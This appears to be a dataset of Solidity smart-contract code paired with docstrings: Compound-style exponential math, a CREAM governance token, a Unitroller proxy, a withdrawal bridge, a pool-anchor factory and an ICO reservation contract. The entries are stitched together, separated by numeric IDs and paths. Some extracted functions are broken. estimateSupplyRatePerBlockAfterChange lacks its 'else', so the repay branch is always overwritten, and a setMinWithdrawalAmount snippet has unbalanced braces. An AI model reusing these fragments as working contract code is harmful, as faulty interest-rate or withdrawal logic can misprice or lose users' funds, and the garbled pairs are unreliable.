divisor); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(fraction)); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function div_ScalarByExp(uint scalar, Exp memory divisor) pure internal returns (Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ uint numerator = mul_(expScale, scalar); return Exp({mantissa: div_(numerator, divisor)}); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function div_ScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (uint) { Exp memory fraction = div_ScalarByExp(scalar, divisor); return truncate(fraction); } /** * @dev Multiplies two exponentials, returning a new exponential. */ function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } // We add half the scale before dividing so that we get rounding instead of truncation. // See "Listing 6" and text above it at https://accu.org/index.php/journals/1717 // Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18. (MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } (MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale); // The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero. assert(err2 == MathError.NO_ERROR); return (MathError.NO_ERROR, Exp({mantissa: product})); } /** * @dev Multiplies two exponentials given their mantissas, returning a new exponential. */ function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) { return mulExp(Exp({mantissa: a}), Exp({mantissa: b})); } /** * @dev Multiplies three exponentials, returning a new exponential. */ function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) { (MathError err, Exp memory ab) = mulExp(a, b); if (err != MathError.NO_ERROR) { return (err, ab); } return mulExp(ab, c); } /** * @dev Divides two exponentials, returning a new exponential. * (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b, * which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa) */ function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { return getExp(a.mantissa, b.mantissa); } /** * @dev Truncates the given exp to a whole number value. * For example, truncate(Exp{mantissa: 15 * expScale}) = 15 */ function truncate(Exp memory exp) pure internal returns (uint) { // Note: We are not using careful math here as we're performing a division that cannot fail return exp.mantissa / expScale; } /** * @dev Checks if first Exp is less than second Exp. */ function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa < right.mantissa; } /** * @dev Checks if left Exp <= right Exp. */ function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) { return left.mantissa <= right.mantissa; } /** * @dev returns true if Exp is exactly zero */ function isZeroExp(Exp memory value) pure internal returns (bool) { return value.mantissa == 0; } function safe224(uint n, string memory errorMessage) pure internal returns (uint224) { require(n < 2**224, errorMessage); return uint224(n); } function safe32(uint n, string memory errorMessage) pure internal returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: add_(a.mantissa, b.mantissa)}); } function add_(uint a, uint b) pure internal returns (uint) { return add_(a, b, "addition overflow"); } function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { uint c = a + b; require(c >= a, errorMessage); return c; } function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: sub_(a.mantissa, b.mantissa)}); } function sub_(uint a, uint b) pure internal returns (uint) { return sub_(a, b, "subtraction underflow"); } function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b <= a, errorMessage); return a - b; } function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale}); } function mul_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Exp memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / expScale; } function mul_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale}); } function mul_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: mul_(a.mantissa, b)}); } function mul_(uint a, Double memory b) pure internal returns (uint) { return mul_(a, b.mantissa) / doubleScale; } function mul_(uint a, uint b) pure internal returns (uint) { return mul_(a, b, "multiplication overflow"); } function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { if (a == 0 || b == 0) { return 0; } uint c = a * b; require(c / a == b, errorMessage); return c; } function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) { return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)}); } function div_(Exp memory a, uint b) pure internal returns (Exp memory) { return Exp({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Exp memory b) pure internal returns (uint) { return div_(mul_(a, expScale), b.mantissa); } function div_(Double memory a, Double memory b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)}); } function div_(Double memory a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(a.mantissa, b)}); } function div_(uint a, Double memory b) pure internal returns (uint) { return div_(mul_(a, doubleScale), b.mantissa); } function div_(uint a, uint b) pure internal returns (uint) { return div_(a, b, "divide by zero"); } function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) { require(b > 0, errorMessage); return a / b; } function fraction(uint a, uint b) pure internal returns (Double memory) { return Double({mantissa: div_(mul_(a, doubleScale), b)}); } // implementation from https://github.com/Uniswap/uniswap-lib/commit/99f3f28770640ba1bb1ff460ac7c5292fb8291a0 // original implementation: https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint x) pure internal returns (uint) { if (x == 0) return 0; uint xx = x; uint r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint r1 = x / r; return (r < r1 ? r : r1); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract Comp { /// @notice EIP-20 token name for this token string public constant name = "Cream"; /// @notice EIP-20 token symbol for this token string public constant symbol = "CREAM"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public constant totalSupply = 9000000e18; // 9 million Comp /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Construct a new Comp token * @param account The initial account to grant all the tokens */ constructor(address account) public { balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != uint96(-1)) { uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) public { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "Comp::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce"); require(now <= expiry, "Comp::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint96) { require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "Comp::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "Comp::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amnount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; import "./CToken.sol"; contract PriceOracle { /// @notice Indicator that this is a PriceOracle contract (for inspection) bool public constant isPriceOracle = true; /** * @notice Get the underlying price of a cToken asset * @param cToken The cToken to get the underlying price of * @return The underlying asset price mantissa (scaled by 1e18). * Zero means the price is unavailable. */ function getUnderlyingPrice(CToken cToken) external view returns (uint); } pragma solidity ^0.5.16; import "./ErrorReporter.sol"; import "./ComptrollerStorage.sol"; /** * @title ComptrollerCore * @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`. * CTokens should reference this contract as their comptroller. */ contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter { /** * @notice Emitted when pendingComptrollerImplementation is changed */ event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation); /** * @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); constructor() public { // Set admin to caller admin = msg.sender; } /*** Admin Functions ***/ function _setPendingImplementation(address newPendingImplementation) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK); } address oldPendingImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = newPendingImplementation; emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation * @dev Admin function for new implementation to accept it's role as implementation * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptImplementation() public returns (uint) { // Check caller is pendingImplementation and pendingImplementation ≠ address(0) if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK); } // Save current values for inclusion in log address oldImplementation = comptrollerImplementation; address oldPendingImplementation = pendingComptrollerImplementation; comptrollerImplementation = pendingComptrollerImplementation; pendingComptrollerImplementation = address(0); emit NewImplementation(oldImplementation, comptrollerImplementation); emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation); return uint(Error.NO_ERROR); } /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address newPendingAdmin) public returns (uint) { // Check caller = admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK); } // Save current value, if any, for inclusion in log address oldPendingAdmin = pendingAdmin; // Store pendingAdmin with value newPendingAdmin pendingAdmin = newPendingAdmin; // Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin) emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin); return uint(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() public returns (uint) { // Check caller is pendingAdmin and pendingAdmin ≠ address(0) if (msg.sender != pendingAdmin || msg.sender == address(0)) { return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK); } // Save current values for inclusion in log address oldAdmin = admin; address oldPendingAdmin = pendingAdmin; // Store admin with value pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = address(0); emit NewAdmin(oldAdmin, admin); emit NewPendingAdmin(oldPendingAdmin, pendingAdmin); return uint(Error.NO_ERROR); } /** * @dev Delegates execution to an implementation contract. * It returns to the external caller whatever the implementation returns * or forwards reverts. */ function () payable external { // delegate all other functions to current implementation (bool success, ) = comptrollerImplementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } }
Returns the estimated per-block supply interest rate for this cToken after some change return The supply interest rate per block, scaled by 1e18/
function estimateSupplyRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa); }
263,306
pragma solidity ^0.4.24; import "./libs/SafeMathLib.sol"; import "./interfaces/IBlockchainBridge.sol"; import "./HasConfig.sol"; /** * @dev BlockchainBridge abstract contract implementing IBlockchainBridge interface protocol used by users and system admin to Deposit and Withdrawal funds to and from blockchain. */ contract BlockchainBridge is IBlockchainBridge, HasConfig { using SafeMathLib for uint; // toggle to control deposits bool public depositsEnabled; // toggle to control withdrawals bool public withdrawalsEnabled; // minimum withdrawal amount uint public minWithdrawalAmount; // maximum withdrawal amount, 0 means disabled uint public maxWithdrawalAmount; event MinWithdrawalAmountChanged(address indexed _admin, uint _minWithdrawalAmount, uint _newMinWithdrawalAmount); event MaxWithdrawalAmountChanged(address indexed _admin, uint _maxWithdrawalAmount, uint _newMaxWithdrawalAmount); /** * @dev Constructor */ constructor() internal { depositsEnabled = true; withdrawalsEnabled = true; //50 usd or equivalent is default withdraw amount minWithdrawalAmount = 5000; maxWithdrawalAmount = 0; //disabled } modifier whenDepositsEnabled { require(depositsEnabled == true, "Deposits must be enabled!"); _; } modifier whenWithdrawalsEnabled { require(withdrawalsEnabled == true, "Withdrawals must be enabled!"); _; } /** * @dev Enable/Disable deposits, executed only by admin. * @return bool */ function enableDeposits(bool enable) public onlyAdmin returns (bool) { if (depositsEnabled != enable) { depositsEnabled = enable; if (enable) emit DepositsEnabled(msg.sender); else emit DepositsDisabled(msg.sender); return true; } return false; } ///** // * @dev Enable deposits if they are disabled, executed only by admin. // * @return bool // */ //function enableDeposits() public onlyAdmin returns (bool) { // if (!depositsEnabled) { // depositsEnabled = true; // //emit DepositsEnabled(msg.sender); // return true; // } // return false; //} ///** // * @dev Disable deposits if they are enabled, executed only by admin. // * @return bool // */ //function disableDeposits() public onlyAdmin returns (bool) { // if (depositsEnabled) { // depositsEnabled = false; // //emit DepositsDisabled(msg.sender); // return true; // } // return false; //} /** * @dev Enable/Disable withdrawals, executed only by admin. * @return bool */ function enableWithdrawals(bool enable) public onlyAdmin returns (bool) { if (withdrawalsEnabled != enable) { withdrawalsEnabled = enable; if (enable) emit WithdrawalsEnabled(msg.sender); else emit WithdrawalsDisabled(msg.sender); return true; } return false; } ///** // * @dev Enable withdrawals if they are disabled, executed only by admin. // * @return bool // */ //function enableWithdrawals() public onlyAdmin returns (bool) { // if (!withdrawalsEnabled) { // withdrawalsEnabled = true; // //emit WithdrawalsEnabled(msg.sender); // return true; // } // return false; //} ///** // * @dev Disable withdrawals if they are enabled, executed only by admin. // * @return bool // */ //function disableWithdrawals() public onlyAdmin returns (bool) { // if (withdrawalsEnabled) { // withdrawalsEnabled = false; // //emit WithdrawalsDisabled(msg.sender); // return true; // } // return false; //} /** * @dev Set/change minimum withdrawal amount, only admin can do it. * @return bool */ function setMinWithdrawalAmount(uint _minAmount) public onlyAdmin returns (bool) { if (_minAmount != minWithdrawalAmount) { //, "Min withdrawal different value required!"); emit MinWithdrawalAmountChanged(msg.sender, minWithdrawalAmount, _minAmount); minWithdrawalAmount = _minAmount; return true; } return false; } /** * @dev Set/change maximum withdrawal amount, only admin can do it. * @return bool */ function setMaxWithdrawalAmount(uint _maxAmount) public onlyAdmin returns (bool) { if (_maxAmount != maxWithdrawalAmount) { //, "Max withdrawal different value required!"); emit MaxWithdrawalAmountChanged(msg.sender, maxWithdrawalAmount, _maxAmount); maxWithdrawalAmount = _maxAmount; return true; } return false; } //--- // function executed by admin to credit user wallet with fiat currency he deposited via bank wire or any other method. //--- function depositAccept(address /*_to*/, uint /*_amount*/) public returns (bool) { return false; } //--- // function executed by user asking for a withdrawal //--- function withdrawRequest(uint /*_amount*/) public returns (bool) { return false; } }
Set/change minimum withdrawal amount, only admin can do it. return bool/
function setMinWithdrawalAmount(uint _minAmount) public onlyAdmin returns (bool) { emit MinWithdrawalAmountChanged(msg.sender, minWithdrawalAmount, _minAmount); minWithdrawalAmount = _minAmount; return true; } return false;
12,570,633
./full_match/100/0x697240b2124bEd2B19FB003Ec4e4cFb5b125B0D1/sources/deploy/contracts/tokens/MintableBurnableSyntheticToken.sol
Admin renounce to admin role/
function renounceAdmin() public override { super.renounceAdmin(); }
14,267,070
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "./PoolTokensContainer.sol"; import "../../interfaces/ITypedConverterAnchorFactory.sol"; /* LiquidityPoolV2ConverterAnchorFactory Factory */ contract LiquidityPoolV2ConverterAnchorFactory is ITypedConverterAnchorFactory { /** * @dev returns the converter type the factory is associated with * * @return converter type */ function converterType() external pure override returns (uint16) { return 2; } /** * @dev creates a new converter anchor with the given arguments and transfers * the ownership to the caller * * @param _name pool name * @param _symbol pool symbol * @param _decimals pool decimals * * @return new anchor */ function createAnchor(string memory _name, string memory _symbol, uint8 _decimals) external override returns (IConverterAnchor) { IPoolTokensContainer container = new PoolTokensContainer(_name, _symbol, _decimals); container.transferOwnership(msg.sender); return container; } }
creates a new converter anchor with the given arguments and transfers the ownership to the caller _name pool name _symbol pool symbol _decimals pool decimals return new anchor/
function createAnchor(string memory _name, string memory _symbol, uint8 _decimals) external override returns (IConverterAnchor) { IPoolTokensContainer container = new PoolTokensContainer(_name, _symbol, _decimals); container.transferOwnership(msg.sender); return container; }
1,065,172
pragma solidity ^0.4.18; import "../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol"; import "../node_modules/zeppelin-solidity/contracts/ownership/Ownable.sol"; /* Eidoo ICO Engine interface This interface enables Eidoo wallet to query our ICO and display all the informations needed in the app */ contract ICOEngineInterface{ function started() public view returns(bool); function ended() public view returns(bool); function startTime() public view returns(uint); function endTime() public view returns(uint); function startBlock() public view returns(uint); function endBlock() public view returns(uint); function totalTokens() public view returns(uint); function remainingTokens() public view returns(uint); function price() public view returns(uint); } // ICO Abstract Contract contract ICOAC { function RC_TOKEN_LIMIT() public constant returns(uint); function getBlockNumberStart() constant public returns(uint); function getUacTokenBalance(address _of) constant public returns (uint); function buyTokensRC(address _buyer) payable public; function getTokensIcoSold() constant public returns (uint); } // UbiatarCoin Abstract Contract contract UACAC { function balanceOf(address _owner) public constant returns (uint256); } /* Reservation contract It will deliver an amount of tokens with a discount price a few hours before ICO begin */ contract ReservationContract is Ownable, ICOEngineInterface { // SafeMath standard lib using SafeMath for uint; // ICO contract address address public icoContractAddress = 0x0; // UbiatarCoin contract address address public uacTokenAddress = 0x0; // ICO block number start uint public icoBlockNumberStart = 0; // Reservation contract block number start uint public rcBlockNumberStart = 0; // ICO contract reference ICOAC public ico; // UbiatarCoint contract reference UACAC public uacToken; // Standard token price in USD CENTS per token uint public usdTokenPrice = 2 * 100; // The USD/ETH // UPDATE CHANGE RATE WITH CURRENT RATE WHEN DEPLOYING // This value is given in USD CENTS uint public usdPerEth = 1100 * 100; event LogReserve(address to, uint value); // Reservation contract constructor function ReservationContract() public {} /// modifiers // only during Reservation contract campaign modifier onlyInBlockNumberRange() { require(block.number >= rcBlockNumberStart); require(block.number < icoBlockNumberStart); _; } /// setters function setUsdTokenPrice(uint tokenPrice) public onlyOwner { usdTokenPrice = tokenPrice; } function setUsdPerEthRate(uint _usdPerEthRate) public onlyOwner { usdPerEth = _usdPerEthRate; } // set ICO contract address function setIcoContractAddress(address _icoContractAddress) public onlyOwner { icoContractAddress = _icoContractAddress; ico = ICOAC(_icoContractAddress); } // set UbiatarCoint ERC20 token contract address function setUacTokenAddress(address _uacTokenAddress) public onlyOwner { uacTokenAddress = _uacTokenAddress; uacToken = UACAC(_uacTokenAddress); } // set Reservation contract campaign block number start function setRCBlockNumberStart(uint _blockNumber) onlyOwner public { rcBlockNumberStart = _blockNumber; } /// functions // It gets ICO starting block number function getIcoBlockNumberStart() public onlyOwner { icoBlockNumberStart = ico.getBlockNumberStart(); } // It retrieves user reserved tokens function getReservedTokens(address investor) constant public returns (uint) { return uacToken.balanceOf(investor); } // Calculates the token price including the bonus percent received from the buyTokens function // Returns the amount of UAC per 1 ETH to be given function getUacTokensPerEth(uint bonusPercent) constant internal returns (uint) { uint tokenPrice = (usdTokenPrice.mul(100).mul(1 ether)).div(bonusPercent.add(100)); uint uacPerEth = (usdPerEth.mul(1 ether).mul(1 ether)).div(tokenPrice); return uacPerEth; } /// ICOEngineInterface // false if the ico is not started, true if the ico is started and running, true if the ico is completed function started() public view returns(bool) { return (rcBlockNumberStart != 0 && block.number >= rcBlockNumberStart && block.number < icoBlockNumberStart); } // false if the ico is not started, false if the ico is started and running, true if the ico is completed function ended() public view returns(bool) { return (icoBlockNumberStart != 0 && (block.number >= icoBlockNumberStart || ico.getTokensIcoSold() == ico.RC_TOKEN_LIMIT())); } // time stamp of the starting time of the ico, must return 0 if it depends on the block number function startTime() public view returns(uint) { return 0; } // time stamp of the ending time of the ico, must return 0 if it depends on the block 